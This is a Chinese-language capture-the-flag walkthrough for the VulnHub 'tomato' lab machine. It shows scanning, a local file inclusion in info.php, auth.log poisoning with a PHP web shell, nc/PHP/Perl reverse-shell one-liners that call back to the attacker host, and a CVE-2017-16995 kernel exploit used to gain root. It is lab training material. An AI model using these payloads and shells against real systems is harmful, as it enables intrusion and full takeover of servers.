靶场"/>
vulnhub靶场
1、靶机信息
靶机名称:tomato
靶机难度:中等到困难
虚拟机环境:VMware Workstation 15.x Pro(此靶机推荐使用VMware搭建)
目标:获取root shell,即(root@localhost:~#),然后获取/root下的flag
靶机地址:.ova
kali服务器IP | 192.168.233.131 |
靶机IP | 192.168.233.142 |
2、信息收集
2.1 使用arp协议探测靶机地址(同一网段下)
arp-scan -l
2.2 使用nmap探测靶机开放端口和服务
-sS SYN扫描,半连接
-sV 全端口版本探测
-p- 全端口扫描
通过扫描结果可发现开放21 FTP服务,目前无利用价值,80为Apache服务,2211端口为SSH服务,8888为Nginx服务
nmap -sS -sV -p- 192.168.233.142
2.3 查看80端口Web服务
看到一张大西红柿照片,页面源码也没有可利用的东西,下一步尝试寻找敏感路径
2.4 使用dirsearch进行目录遍历
未发现有价值的目录,尝试换个字典再试试
dirsearch -u http://192.168.233.142 -f -e php,html.txt
2.5 使用SecLists字典进行目录遍历
dirsearch -u http://192.168.233.142 -w /home/SecLists/Discovery/Web-Content/common.txt
在扫描中我们发现/antibot_image/路径,我们尝试访问一下
SecLists项目地址:
2.6 访问http://192.168.233.142/antibot_image/
接下来我们在目录中寻找有价值信息
2.7 在路径中发现两个重要信息
①info.php phpinfo信息
②screenshot-3.jpg 展示此系统使用了AntiBotPlugin插件
3、漏洞发现
3.1 在phpinfo页面查看源代码
在页面源代码中我们需要注意两个方面,一方面是注释内容
,一方面是发现从页面到后端的应用程序接口或脚本内容
include语句会获取指定文件中存在的所有文本/代码/标记,文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码
3.2 此处我们怀疑存在文件包含
漏洞,image函数就是可以包含其他文件
http://192.168.233.142/antibot_image/antibots/info.php?image=../../../../../etc/passwd
3.3 因为远程文件包含关闭,我们尝试进行本地文件包含
3.4 日志文件分析
在多次尝试后,发现/var/log/auth.log
中记录了FTP和SSH的登录服务,我们使用root和root123123123123123账户尝试ssh登录,可以看到被写入到了auth.log
日志文件中,如果我们换成一句话木马内容,并且写入到此日志文件中,就可以使用系统目前的文件包含漏洞加载此日志文件,加载一句话木马。
3.5 我们尝试写入一句话木马
ssh <?php echo system($_GET["jason"]); ?>@192.168.233.142 2211
发现日志文件中并没有我们输入的这串php代码<?php echo system($_GET["jason"]); ?>
,证明系统执行了php代码,而不是以文本的方式运行
3.6 访问一句话木马
命令成功执行,说明一句话写入成功
view-source:192.168.233.142/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=whoami
view-source:192.168.233.142/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=id
4、反弹shell
4.1 在kali服务器开启nc端口监听9999
kali服务器地址:192.168.233.131
nc -lvp 9999
4.2 nc反弹shell
命令执行成功后,连接很快断掉,猜测可能nc反弹遇到了问题,我们尝试使用其他方式反弹
view-source:192.168.233.142/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=nc 192.168.233.131 9999
4.3 php反弹shell
目前我们可以确定目标靶机存在php环境,我们使用php语句进行反弹,却发现并没有成功
php反弹语句:php -r '$sock=fsockopen("192.168.233.131",9999);exec("/bin/sh -i <&3 >&3 2>&3");'
浏览器执行语句:view-source:192.168.233.142/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=php -r '$sock=fsockopen("192.168.233.131",9999);exec("/bin/sh -i <&3 >&3 2>&3");'
4.4 perl反弹shell
我们尝试换一种语言进行反弹,使用perl语言,发现反弹成功了!
perl反弹语句:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.233.131:9999");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
浏览器执行语句:
view-source:192.168.233.142/antibot_image/antibots/info.php?image=/var/log/auth.log&jason=perl -MIO -e %27$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.233.131:9999");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;%27
5、权限提升
5.1 查看目前用户名称为www-data
,我们需要提权到root拿到flag,创建一个交互式shell
/bin/bash -i
5.2 这里我们尝试使用linux-exploit-suggester
,能够检测Linux内核/基于Linux的机器存在哪些本地权限提升漏洞
项目地址:
靶机:进入/tmp
目录,开启监听nc -nvlp 9999 > linux-exp.sh
kali服务器:nc传输工具至目标靶机nc 192.168.233.142 9999 < linux-exploit-suggester.sh -w 1
5.3 赋予工具一个执行权限+x,运行提权工具
chmod +x linux-exp.sh
./linux-exp.sh
5.4 根据可利用程度,我们选择CVE-2017-16995进行提权
在kali上检索此漏洞EXPsearchsploit -p 45010
5.5 因为此文件是一个C语言源码文件,需要编译才能够运行,这种情况最好是在目标服务器上进行编译并运行,但目标靶机没有gcc环境,意味着没办法进行编译,在这里选择在kali上编译完成后,在靶机上运行程序
源码编译:gcc 45010.c -o exp
靶机监听:nc -nvlp 9999 > exp
kali服务器:nc 192.168.233.142 9999 < exp -w 1
5.6 运行exp工具
给予执行权限chmod +x exp
运行工具:./exp
6、获取Flag
进入/root目录,获取Flag:Sun_CSR_TEAM_TOMATO_JS_0232xx23
更多推荐
vulnhub靶场
发布评论